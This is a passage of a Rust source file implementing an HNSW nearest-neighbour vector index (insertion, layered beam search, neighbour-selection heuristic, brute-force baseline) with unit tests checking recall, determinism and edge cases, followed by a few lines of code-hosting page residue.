self.vectors.is_empty()
|
||||
}
|
||||
|
||||
/// The metric this index ranks by.
|
||||
#[inline]
|
||||
pub fn metric(&self) -> Metric {
|
||||
self.metric
|
||||
}
|
||||
|
||||
/// The expected embedding dimension.
|
||||
#[inline]
|
||||
pub fn dim(&self) -> usize {
|
||||
self.dim
|
||||
}
|
||||
|
||||
/// The current entry-point id (highest-level node), or `None` if empty.
|
||||
/// Exposed so the quantized variant ([`crate::hnsw_quantized`]) can traverse
|
||||
/// the **same** graph with a different (quantized) score.
|
||||
#[inline]
|
||||
pub fn entry_point(&self) -> Option<u32> {
|
||||
self.entry
|
||||
}
|
||||
|
||||
/// The highest level currently present in the graph.
|
||||
#[inline]
|
||||
pub fn top_level(&self) -> usize {
|
||||
self.top_level
|
||||
}
|
||||
|
||||
/// The default query-time beam width (`ef_search`) from this index's params.
|
||||
#[inline]
|
||||
pub fn params_ef_search(&self) -> usize {
|
||||
self.params.ef_search
|
||||
}
|
||||
|
||||
/// Borrow the neighbour ids of `id` on `layer`. Returns an empty slice if the
|
||||
/// id is unknown or the node does not reach that layer — never panics. Used
|
||||
/// by the quantized variant to walk the shared graph.
|
||||
#[inline]
|
||||
pub fn neighbours(&self, id: u32, layer: usize) -> &[u32] {
|
||||
match self.links.get(id as usize).and_then(|l| l.get(layer)) {
|
||||
Some(v) => v.as_slice(),
|
||||
None => &[],
|
||||
}
|
||||
}
|
||||
|
||||
/// `m_max` for a layer: `2·M` on layer 0, `M` above. The base layer carries
|
||||
/// every node and needs higher degree to stay connected (the paper's
|
||||
/// asymmetric degree cap).
|
||||
#[inline]
|
||||
fn m_max(&self, layer: usize) -> usize {
|
||||
if layer == 0 {
|
||||
self.params.m * 2
|
||||
} else {
|
||||
self.params.m
|
||||
}
|
||||
}
|
||||
|
||||
/// Draw the next node's level from a geometric distribution with parameter
|
||||
/// `m_l = 1/ln(M)` — the paper's level generator — using the **seeded**
|
||||
/// SplitMix64 stream. `floor(−ln(U) · m_l)` with `U ∈ (0, 1]`.
|
||||
fn assign_level(&mut self) -> usize {
|
||||
let m = self.params.m.max(2) as f64;
|
||||
let m_l = 1.0 / m.ln();
|
||||
// Uniform in (0, 1] from the top 53 bits of a SplitMix64 word.
|
||||
let r = split_mix64(&mut self.rng_state);
|
||||
let u = (((r >> 11) as f64) + 1.0) / ((1u64 << 53) as f64 + 1.0);
|
||||
let level = (-(u.ln()) * m_l).floor();
|
||||
if level.is_finite() && level >= 0.0 {
|
||||
level as usize
|
||||
} else {
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
/// Insert `embedding` with the next sequential id. Returns the assigned id.
|
||||
///
|
||||
/// Builds the node's adjacency by searching the existing graph for its
|
||||
/// nearest neighbours at each of its layers and connecting via the
|
||||
/// neighbour-selection heuristic. The first insert becomes the entry point.
|
||||
pub fn insert(&mut self, embedding: &[f32]) -> u32 {
|
||||
let id = self.vectors.len() as u32;
|
||||
let vec = embedding.to_vec();
|
||||
let node_level = self.assign_level();
|
||||
|
||||
// Push the node into the arrays UP FRONT with empty per-layer link lists.
|
||||
// This is load-bearing: the bidirectional wiring below does
|
||||
// `self.links[nbr][l].push(id)`, after which a neighbour points at `id`;
|
||||
// a subsequent traversal step in the SAME insert can hop to that
|
||||
// neighbour and read `self.links[id]`. If `id`'s links did not exist yet
|
||||
// that read panics (the bug the recall gate caught). The new node has no
|
||||
// *incoming* edges until we add them, and empty outgoing lists, so it is
|
||||
// unreachable by the searches that run before its edges are wired —
|
||||
// pushing it early is safe and keeps every `self.links[*]` index valid.
|
||||
self.vectors.push(vec.clone());
|
||||
self.links.push(vec![Vec::new(); node_level + 1]);
|
||||
self.levels.push(node_level);
|
||||
|
||||
// First node: it is the entry point, no neighbours to connect.
|
||||
if self.entry.is_none() {
|
||||
self.entry = Some(id);
|
||||
self.top_level = node_level;
|
||||
return id;
|
||||
}
|
||||
|
||||
let entry = self.entry.unwrap();
|
||||
let mut ep = entry;
|
||||
|
||||
// Phase 1: greedy-descend from the top of the graph down to the layer
|
||||
// just above the node's own top level, refining the single entry point.
|
||||
let mut layer = self.top_level;
|
||||
while layer > node_level {
|
||||
ep = self.greedy_closest(&vec, ep, layer);
|
||||
if layer == 0 {
|
||||
break;
|
||||
}
|
||||
layer -= 1;
|
||||
}
|
||||
|
||||
// Phase 2: from min(node_level, top_level) down to 0, search for
|
||||
// ef_construction candidates, select neighbours, and wire bidirectional
|
||||
// edges (pruning the neighbour's list if it overflows m_max).
|
||||
let start = node_level.min(self.top_level);
|
||||
let mut layer = start as isize;
|
||||
while layer >= 0 {
|
||||
let l = layer as usize;
|
||||
let candidates =
|
||||
self.search_layer(&vec, &[ep], self.params.ef_construction.max(1), l);
|
||||
let selected = self.select_neighbours(&vec, &candidates, self.m_max(l));
|
||||
|
||||
// Connect node -> selected (write straight into the node's slot).
|
||||
self.links[id as usize][l] = selected.iter().map(|s| s.id).collect();
|
||||
|
||||
// Connect selected -> node (bidirectional), pruning if needed.
|
||||
for s in &selected {
|
||||
let nbr = s.id as usize;
|
||||
self.links[nbr][l].push(id);
|
||||
if self.links[nbr][l].len() > self.m_max(l) {
|
||||
self.prune_neighbours(nbr as u32, l);
|
||||
}
|
||||
}
|
||||
|
||||
// Move the entry for the next-lower layer to the closest candidate.
|
||||
if let Some(best) = candidates
|
||||
.iter()
|
||||
.min_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal))
|
||||
{
|
||||
ep = best.id;
|
||||
}
|
||||
layer -= 1;
|
||||
}
|
||||
|
||||
if node_level > self.top_level {
|
||||
self.top_level = node_level;
|
||||
self.entry = Some(id);
|
||||
}
|
||||
id
|
||||
}
|
||||
|
||||
/// Greedy single-best descent on one layer: hop to the neighbour closest to
|
||||
/// `query` until no neighbour improves. Iterative (bounded by the graph) —
|
||||
/// no recursion.
|
||||
fn greedy_closest(&self, query: &[f32], start: u32, layer: usize) -> u32 {
|
||||
let mut best = start;
|
||||
let mut best_d = self.metric.distance(query, &self.vectors[best as usize]);
|
||||
loop {
|
||||
let mut improved = false;
|
||||
for &nbr in &self.links[best as usize][layer] {
|
||||
let d = self.metric.distance(query, &self.vectors[nbr as usize]);
|
||||
if d < best_d {
|
||||
best_d = d;
|
||||
best = nbr;
|
||||
improved = true;
|
||||
}
|
||||
}
|
||||
if !improved {
|
||||
return best;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Beam search on one layer (paper Algorithm 2): best-first expansion from
|
||||
/// `entry_points`, keeping the `ef` closest results. Returns the result set
|
||||
/// (unsorted; callers sort/truncate). Bounded by a visited set + the `ef`
|
||||
/// result heap — no recursion, no unbounded growth.
|
||||
fn search_layer(
|
||||
&self,
|
||||
query: &[f32],
|
||||
entry_points: &[u32],
|
||||
ef: usize,
|
||||
layer: usize,
|
||||
) -> Vec<Scored> {
|
||||
let mut visited: HashSet<u32> = HashSet::new();
|
||||
// `candidates`: min-heap (closest first) of nodes to expand.
|
||||
let mut candidates: BinaryHeap<MinScored> = BinaryHeap::new();
|
||||
// `results`: max-heap (farthest first) of the best-ef found so far, so
|
||||
// the top is the current worst and is cheap to evict.
|
||||
let mut results: BinaryHeap<Scored> = BinaryHeap::new();
|
||||
|
||||
for &ep in entry_points {
|
||||
if ep as usize >= self.vectors.len() {
|
||||
continue;
|
||||
}
|
||||
let d = self.metric.distance(query, &self.vectors[ep as usize]);
|
||||
let s = Scored { dist: d, id: ep };
|
||||
visited.insert(ep);
|
||||
candidates.push(MinScored(s));
|
||||
results.push(s);
|
||||
}
|
||||
// Cap results at ef from the start.
|
||||
while results.len() > ef {
|
||||
results.pop();
|
||||
}
|
||||
|
||||
while let Some(MinScored(cur)) = candidates.pop() {
|
||||
// Stop when the closest unexpanded candidate is farther than the
|
||||
// current worst result and the result set is already full.
|
||||
let worst = results.peek().map(|s| s.dist).unwrap_or(f32::INFINITY);
|
||||
if cur.dist > worst && results.len() >= ef {
|
||||
break;
|
||||
}
|
||||
for &nbr in &self.links[cur.id as usize][layer] {
|
||||
if !visited.insert(nbr) {
|
||||
continue;
|
||||
}
|
||||
let d = self.metric.distance(query, &self.vectors[nbr as usize]);
|
||||
let worst = results.peek().map(|s| s.dist).unwrap_or(f32::INFINITY);
|
||||
if results.len() < ef || d < worst {
|
||||
let s = Scored { dist: d, id: nbr };
|
||||
candidates.push(MinScored(s));
|
||||
results.push(s);
|
||||
while results.len() > ef {
|
||||
results.pop();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
results.into_vec()
|
||||
}
|
||||
|
||||
/// Neighbour-selection heuristic (paper Algorithm 4): from `candidates`,
|
||||
/// greedily pick up to `m` that are **closer to the new point than to any
|
||||
/// already-picked neighbour**, giving diverse, navigable edges instead of a
|
||||
/// clump. Candidates are considered nearest-first.
|
||||
fn select_neighbours(&self, _base: &[f32], candidates: &[Scored], m: usize) -> Vec<Scored> {
|
||||
let mut sorted = candidates.to_vec();
|
||||
sorted.sort_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal));
|
||||
let mut selected: Vec<Scored> = Vec::with_capacity(m);
|
||||
for cand in sorted {
|
||||
if selected.len() >= m {
|
||||
break;
|
||||
}
|
||||
// Keep `cand` only if it is closer to `base` than to every already
|
||||
// selected neighbour — the diversity condition.
|
||||
let cand_vec = &self.vectors[cand.id as usize];
|
||||
let mut keep = true;
|
||||
for sel in &selected {
|
||||
let d_cand_sel = self.metric.distance(cand_vec, &self.vectors[sel.id as usize]);
|
||||
if d_cand_sel < cand.dist {
|
||||
keep = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if keep {
|
||||
selected.push(cand);
|
||||
}
|
||||
}
|
||||
// If the diversity filter left us short (sparse graph), backfill with the
|
||||
// remaining nearest candidates so the node is not under-connected.
|
||||
if selected.len() < m {
|
||||
let chosen: HashSet<u32> = selected.iter().map(|s| s.id).collect();
|
||||
let mut rest: Vec<Scored> = candidates
|
||||
.iter()
|
||||
.filter(|c| !chosen.contains(&c.id))
|
||||
.copied()
|
||||
.collect();
|
||||
rest.sort_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal));
|
||||
for c in rest {
|
||||
if selected.len() >= m {
|
||||
break;
|
||||
}
|
||||
selected.push(c);
|
||||
}
|
||||
}
|
||||
selected
|
||||
}
|
||||
|
||||
/// Re-prune a node's neighbour list on `layer` back down to `m_max` using
|
||||
/// the selection heuristic, after a bidirectional edge pushed it over cap.
|
||||
fn prune_neighbours(&mut self, id: u32, layer: usize) {
|
||||
let base = self.vectors[id as usize].clone();
|
||||
let current: Vec<Scored> = self.links[id as usize][layer]
|
||||
.iter()
|
||||
.map(|&nbr| Scored {
|
||||
dist: self.metric.distance(&base, &self.vectors[nbr as usize]),
|
||||
id: nbr,
|
||||
})
|
||||
.collect();
|
||||
let kept = self.select_neighbours(&base, ¤t, self.m_max(layer));
|
||||
self.links[id as usize][layer] = kept.iter().map(|s| s.id).collect();
|
||||
}
|
||||
|
||||
/// Search for the `k` nearest neighbours of `query`, using beam width `ef`
|
||||
/// (clamped to at least `k`). Returns up to `k` `(id, distance)` pairs sorted
|
||||
/// ascending by distance.
|
||||
///
|
||||
/// Degenerate cases return cleanly: empty index ⇒ empty vec; `k == 0` ⇒ empty
|
||||
/// vec; `k > len` ⇒ all points; a single node ⇒ that node. Never panics.
|
||||
pub fn search(&self, query: &[f32], k: usize, ef: usize) -> Vec<(u32, f32)> {
|
||||
if k == 0 || self.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
let entry = match self.entry {
|
||||
Some(e) => e,
|
||||
None => return Vec::new(),
|
||||
};
|
||||
let ef = ef.max(k).max(1);
|
||||
|
||||
// Greedy-descend the upper layers to a good layer-0 entry point.
|
||||
let mut ep = entry;
|
||||
let mut layer = self.top_level;
|
||||
while layer > 0 {
|
||||
ep = self.greedy_closest(query, ep, layer);
|
||||
layer -= 1;
|
||||
}
|
||||
// Beam search on layer 0.
|
||||
let mut results = self.search_layer(query, &[ep], ef, 0);
|
||||
results.sort_by(|a, b| a.dist.partial_cmp(&b.dist).unwrap_or(Ordering::Equal));
|
||||
results.truncate(k);
|
||||
results.into_iter().map(|s| (s.id, s.dist)).collect()
|
||||
}
|
||||
|
||||
/// Search using the index's configured default `ef_search`.
|
||||
#[inline]
|
||||
pub fn search_default(&self, query: &[f32], k: usize) -> Vec<(u32, f32)> {
|
||||
self.search(query, k, self.params.ef_search)
|
||||
}
|
||||
|
||||
/// Borrow a stored vector by id (for the quantized variant / reranking).
|
||||
#[inline]
|
||||
pub fn vector(&self, id: u32) -> Option<&[f32]> {
|
||||
self.vectors.get(id as usize).map(|v| v.as_slice())
|
||||
}
|
||||
|
||||
/// Brute-force exact top-K linear scan over the stored vectors — the ANN
|
||||
/// **ground truth** and the linear-scan baseline the benchmark measures
|
||||
/// against. `O(N·d)` per query. Returns up to `k` `(id, distance)` ascending.
|
||||
pub fn brute_force(&self, query: &[f32], k: usize) -> Vec<(u32, f32)> {
|
||||
if k == 0 || self.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
let mut scored: Vec<(u32, f32)> = self
|
||||
.vectors
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(i, v)| (i as u32, self.metric.distance(query, v)))
|
||||
.collect();
|
||||
scored.sort_by(|a, b| a.1.partial_cmp(&b.1).unwrap_or(Ordering::Equal));
|
||||
scored.truncate(k);
|
||||
scored
|
||||
}
|
||||
}
|
||||
|
||||
/// SplitMix64 step — the same deterministic PRNG used by [`crate::rotation`].
|
||||
/// Public-domain (Sebastiano Vigna). Dependency-free and reproducible.
|
||||
#[inline]
|
||||
pub(crate) fn split_mix64(state: &mut u64) -> u64 {
|
||||
*state = state.wrapping_add(0x9E37_79B9_7F4A_7C15);
|
||||
let mut z = *state;
|
||||
z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
|
||||
z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
|
||||
z ^ (z >> 31)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// SplitMix64-driven uniform in [0,1) for building fixtures (mirrors
|
||||
/// `coverage.rs`'s style so the planted-cluster geometry matches).
|
||||
fn unif01(state: &mut u64) -> f32 {
|
||||
let r = split_mix64(state);
|
||||
((r >> 40) as f32) / ((1u64 << 24) as f32)
|
||||
}
|
||||
fn gauss(state: &mut u64) -> f32 {
|
||||
let u1 = unif01(state).max(1e-7);
|
||||
let u2 = unif01(state);
|
||||
(-2.0 * u1.ln()).sqrt() * (std::f32::consts::TAU * u2).cos()
|
||||
}
|
||||
|
||||
/// Build a planted-cluster fixture: `n` vectors of `dim`, in `clusters`
|
||||
/// Gaussian clusters. Returns the vectors. Deterministic from `seed`.
|
||||
fn planted(dim: usize, n: usize, clusters: usize, seed: u64) -> Vec<Vec<f32>> {
|
||||
let centres: Vec<Vec<f32>> = (0..clusters)
|
||||
.map(|c| {
|
||||
let mut s = seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
|
||||
(0..dim).map(|_| gauss(&mut s) * 3.0).collect()
|
||||
})
|
||||
.collect();
|
||||
(0..n)
|
||||
.map(|i| {
|
||||
let c = i % clusters;
|
||||
let mut s = seed ^ (i as u64).wrapping_mul(0x9E37);
|
||||
(0..dim).map(|d| centres[c][d] + gauss(&mut s) * 0.35).collect()
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn build(vectors: &[Vec<f32>], metric: Metric, seed: u64) -> HnswIndex {
|
||||
let params = HnswParams {
|
||||
m: 16,
|
||||
ef_construction: 200,
|
||||
ef_search: 64,
|
||||
seed,
|
||||
};
|
||||
let mut idx = HnswIndex::new(vectors[0].len(), metric, params);
|
||||
for v in vectors {
|
||||
idx.insert(v);
|
||||
}
|
||||
idx
|
||||
}
|
||||
|
||||
/// Recall@k of HNSW search vs brute-force ground truth, averaged over queries
|
||||
/// drawn from the same planted clusters.
|
||||
fn recall_at_k(
|
||||
idx: &HnswIndex,
|
||||
vectors: &[Vec<f32>],
|
||||
dim: usize,
|
||||
clusters: usize,
|
||||
k: usize,
|
||||
ef: usize,
|
||||
n_queries: usize,
|
||||
seed: u64,
|
||||
) -> f64 {
|
||||
let centres_seed = seed; // reuse fixture seed for matching cluster geometry
|
||||
let mut total = 0.0f64;
|
||||
for q in 0..n_queries {
|
||||
let c = q % clusters;
|
||||
let mut s = centres_seed ^ 0xDEAD_0000 ^ (q as u64).wrapping_mul(0x2545_F491);
|
||||
// A query near cluster centre c: regenerate the centre then jitter.
|
||||
let mut cs = centres_seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
|
||||
let centre: Vec<f32> = (0..dim).map(|_| gauss(&mut cs) * 3.0).collect();
|
||||
let qv: Vec<f32> = (0..dim).map(|d| centre[d] + gauss(&mut s) * 0.35).collect();
|
||||
|
||||
let truth: HashSet<u32> = idx.brute_force(&qv, k).into_iter().map(|(id, _)| id).collect();
|
||||
let got = idx.search(&qv, k, ef);
|
||||
let hit = got.iter().filter(|(id, _)| truth.contains(id)).count();
|
||||
total += hit as f64 / k as f64;
|
||||
let _ = vectors;
|
||||
}
|
||||
total / n_queries as f64
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_index_search_is_empty_no_panic() {
|
||||
let idx = HnswIndex::new(8, Metric::L2, HnswParams::default());
|
||||
assert!(idx.is_empty());
|
||||
assert!(idx.search(&[0.0; 8], 5, 16).is_empty());
|
||||
assert!(idx.brute_force(&[0.0; 8], 5).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn single_node_returns_itself() {
|
||||
let mut idx = HnswIndex::new(4, Metric::L2, HnswParams::default());
|
||||
let id = idx.insert(&[1.0, 2.0, 3.0, 4.0]);
|
||||
assert_eq!(id, 0);
|
||||
let r = idx.search(&[1.0, 2.0, 3.0, 4.0], 5, 16);
|
||||
assert_eq!(r.len(), 1);
|
||||
assert_eq!(r[0].0, 0);
|
||||
assert!(r[0].1 < 1e-6);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn k_zero_and_k_gt_n_no_panic() {
|
||||
let vectors = planted(16, 40, 4, 0xABCD);
|
||||
let idx = build(&vectors, Metric::L2, 0x1234);
|
||||
assert!(idx.search(&vectors[0], 0, 16).is_empty());
|
||||
// k > n returns all n.
|
||||
let r = idx.search(&vectors[0], 1000, 64);
|
||||
assert_eq!(r.len(), 40);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ragged_query_no_panic() {
|
||||
let vectors = planted(16, 30, 3, 0x55);
|
||||
let idx = build(&vectors, Metric::Cosine, 0x66);
|
||||
// Short and long queries must not panic.
|
||||
assert!(!idx.search(&[1.0, 2.0, 3.0], 3, 16).is_empty());
|
||||
let long: Vec<f32> = (0..100).map(|i| i as f32).collect();
|
||||
assert!(!idx.search(&long, 3, 16).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn self_query_ranks_self_first() {
|
||||
let vectors = planted(32, 200, 8, 0x77);
|
||||
let idx = build(&vectors, Metric::L2, 0x88);
|
||||
for &probe in &[0usize, 50, 137, 199] {
|
||||
let r = idx.search(&vectors[probe], 1, 64);
|
||||
assert_eq!(r.len(), 1);
|
||||
assert_eq!(r[0].0, probe as u32, "self-query should return the stored self");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hnsw_is_deterministic_for_seed() {
|
||||
// Same (seed, params, insertion order) ⇒ identical level assignment and
|
||||
// identical search output.
|
||||
let vectors = planted(24, 150, 6, 0x2222);
|
||||
let a = build(&vectors, Metric::Cosine, 0xFEED);
|
||||
let b = build(&vectors, Metric::Cosine, 0xFEED);
|
||||
assert_eq!(a.levels, b.levels, "level assignment must be deterministic");
|
||||
let q = &vectors[42];
|
||||
assert_eq!(a.search(q, 10, 64), b.search(q, 10, 64));
|
||||
// A different seed (almost surely) changes the level structure.
|
||||
let c = build(&vectors, Metric::Cosine, 0x1357);
|
||||
assert_ne!(a.levels, c.levels, "different seed should change levels");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recall_at_10_meets_correctness_gate_l2() {
|
||||
// THE CORRECTNESS GATE (ADR-261): HNSW recall@10 vs brute-force must be
|
||||
// >= 0.95 at a reasonable ef. Low recall ⇒ a bug in the graph.
|
||||
let dim = 64;
|
||||
let n = 2000;
|
||||
let clusters = 32;
|
||||
let seed = 0x9999;
|
||||
let vectors = planted(dim, n, clusters, seed);
|
||||
let idx = build(&vectors, Metric::L2, 0xAAAA);
|
||||
let recall = recall_at_k(&idx, &vectors, dim, clusters, 10, 128, 64, seed);
|
||||
assert!(
|
||||
recall >= 0.95,
|
||||
"HNSW recall@10 (L2) = {recall:.4} below the 0.95 correctness gate — graph bug"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recall_at_10_meets_correctness_gate_cosine() {
|
||||
let dim = 64;
|
||||
let n = 2000;
|
||||
let clusters = 32;
|
||||
let seed = 0xBBBB;
|
||||
let vectors = planted(dim, n, clusters, seed);
|
||||
let idx = build(&vectors, Metric::Cosine, 0xCCCC);
|
||||
let recall = recall_at_k(&idx, &vectors, dim, clusters, 10, 128, 64, seed);
|
||||
assert!(
|
||||
recall >= 0.95,
|
||||
"HNSW recall@10 (cosine) = {recall:.4} below the 0.95 correctness gate — graph bug"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn higher_ef_does_not_reduce_recall() {
|
||||
// Monotonicity sanity: more beam width should not hurt recall.
|
||||
let dim = 48;
|
||||
let vectors = planted(dim, 1000, 16, 0xD00D);
|
||||
let idx = build(&vectors, Metric::L2, 0xE00E);
|
||||
let lo = recall_at_k(&idx, &vectors, dim, 16, 10, 16, 48, 0xD00D);
|
||||
let hi = recall_at_k(&idx, &vectors, dim, 16, 10, 128, 48, 0xD00D);
|
||||
assert!(hi + 1e-9 >= lo, "recall dropped with larger ef: {lo:.3} -> {hi:.3}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn zero_dim_no_panic() {
|
||||
// Degenerate zero-dimension index: inserts and searches must not panic.
|
||||
let mut idx = HnswIndex::new(0, Metric::Cosine, HnswParams::default());
|
||||
idx.insert(&[]);
|
||||
idx.insert(&[]);
|
||||
let r = idx.search(&[], 2, 16);
|
||||
assert_eq!(r.len(), 2);
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user